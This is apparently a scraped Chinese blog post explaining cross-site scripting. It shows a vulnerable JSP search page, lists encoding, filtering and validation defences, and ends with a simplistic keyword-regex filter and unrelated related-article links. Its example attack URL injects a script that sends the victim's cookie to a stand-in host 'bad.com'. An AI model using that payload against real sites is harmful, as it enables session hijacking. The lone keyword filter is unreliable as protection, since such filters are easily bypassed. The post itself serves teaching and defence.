XSS 跨站脚本攻击
来源:互联网 发布:手机号码搜索软件 编辑:程序博客网 时间:2024/05/21 05:17
XSS 跨站脚本攻击
什么是XSS跨站脚本攻击?
主要是用了 src 这个可与跨站的特性
它指的是恶意攻击者往Web页面里插入恶意的html或脚本代码,当
用户浏览该页面时,嵌入Web里面的恶意代码会被执行,从而达到
攻击者的特殊目的。
一种是:可信任链接骗人来点击,
目的是劫持用户的cookie; 另一种是:该脚本已经
通过此方法注入了DB,每次有人浏览正常的该网站
链接都会执行该脚本,理论上JS能做的都可以做。
栗子:
1、网站A存在XSS漏洞,比如search.jsp页面:<%@ page language="java" import="java.util.*" pageEncoding="ISO-8859-1"%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN"><html><body>This is my JSP page. <% request.getParameter("keyword"); %></body></html>2、在受害者登录A网站后,攻击者构造了一个可信的URL发给受害者:http://a.com/search.jsp?keyword=<script>window.open("http://bad.com?cookie="+document.cookie)</script>3、受害者点击可信连接4、恶意代码把受害者的cookie发送到B网站,攻击者获取到受害者的用户身份
如何防范?
1.输入/输出编码:比如直接将HTML标签最关键的字符:“<”,“ >”,
“ &”等编码转义: <,>,&
2. 过滤:将onclick 、 onmouseover、 script、 style、 iframe等字符串
去掉,可根据业务需要保留
3. 校验: 对用户的输入的信息根据业务规则进行校验
XSS防范总结:
1.要对用户的输入的信息根据业务规则校验
2.对输入做校验,要充分验证数据的长度、字符、格式等
3.对输出做编码、转义或过滤,根据业务需求将要置于的HTML上下文中
(包括主体、属性、JS、 CSS或URL)对所有的不可信数据进行恰当的
转义
给个前端过滤栗子
/***** * * 防止XSS 注入 * ****/ Jc.util.checkIllegalXssStrCheck = function(sqlstr){ //包含特殊字符返回true var patrn = /javascript|jscript|vbscript/i; if (patrn.test(sqlstr)) { return true; } return false; }
0 0
- 跨站脚本攻击(XSS)
- XSS 跨站脚本攻击
- 跨站脚本攻击(XSS)
- xss 跨站脚本攻击
- 跨站脚本攻击XSS
- 跨站脚本攻击XSS
- XSS跨站脚本攻击
- 跨站脚本攻击XSS
- XSS(跨站脚本攻击)
- 跨站脚本攻击XSS
- 跨站脚本攻击-XSS
- XSS 跨站脚本攻击
- XSS跨站脚本攻击
- XSS跨站脚本攻击
- XSS跨站脚本攻击
- xss跨站脚本攻击
- XSS跨站脚本攻击
- XSS跨站脚本攻击
- java基于反射的Map转Bean的工具类
- rails 练习2 --完成CRUD功能
- 35.JavaScript的对象的创建和继承
- RealVNC - No matching security types
- centos安装lnmp
- XSS 跨站脚本攻击
- cocos2dx[3.2](9) ——数学类Vec2/Size/Rect
- 自己编程实现简单的字符设备架构
- 玩转JDK
- zooekeeper集群安装部署
- js个人笔记2
- Java 简单的静态工厂模式
- JNI学习
- shape边框,圆角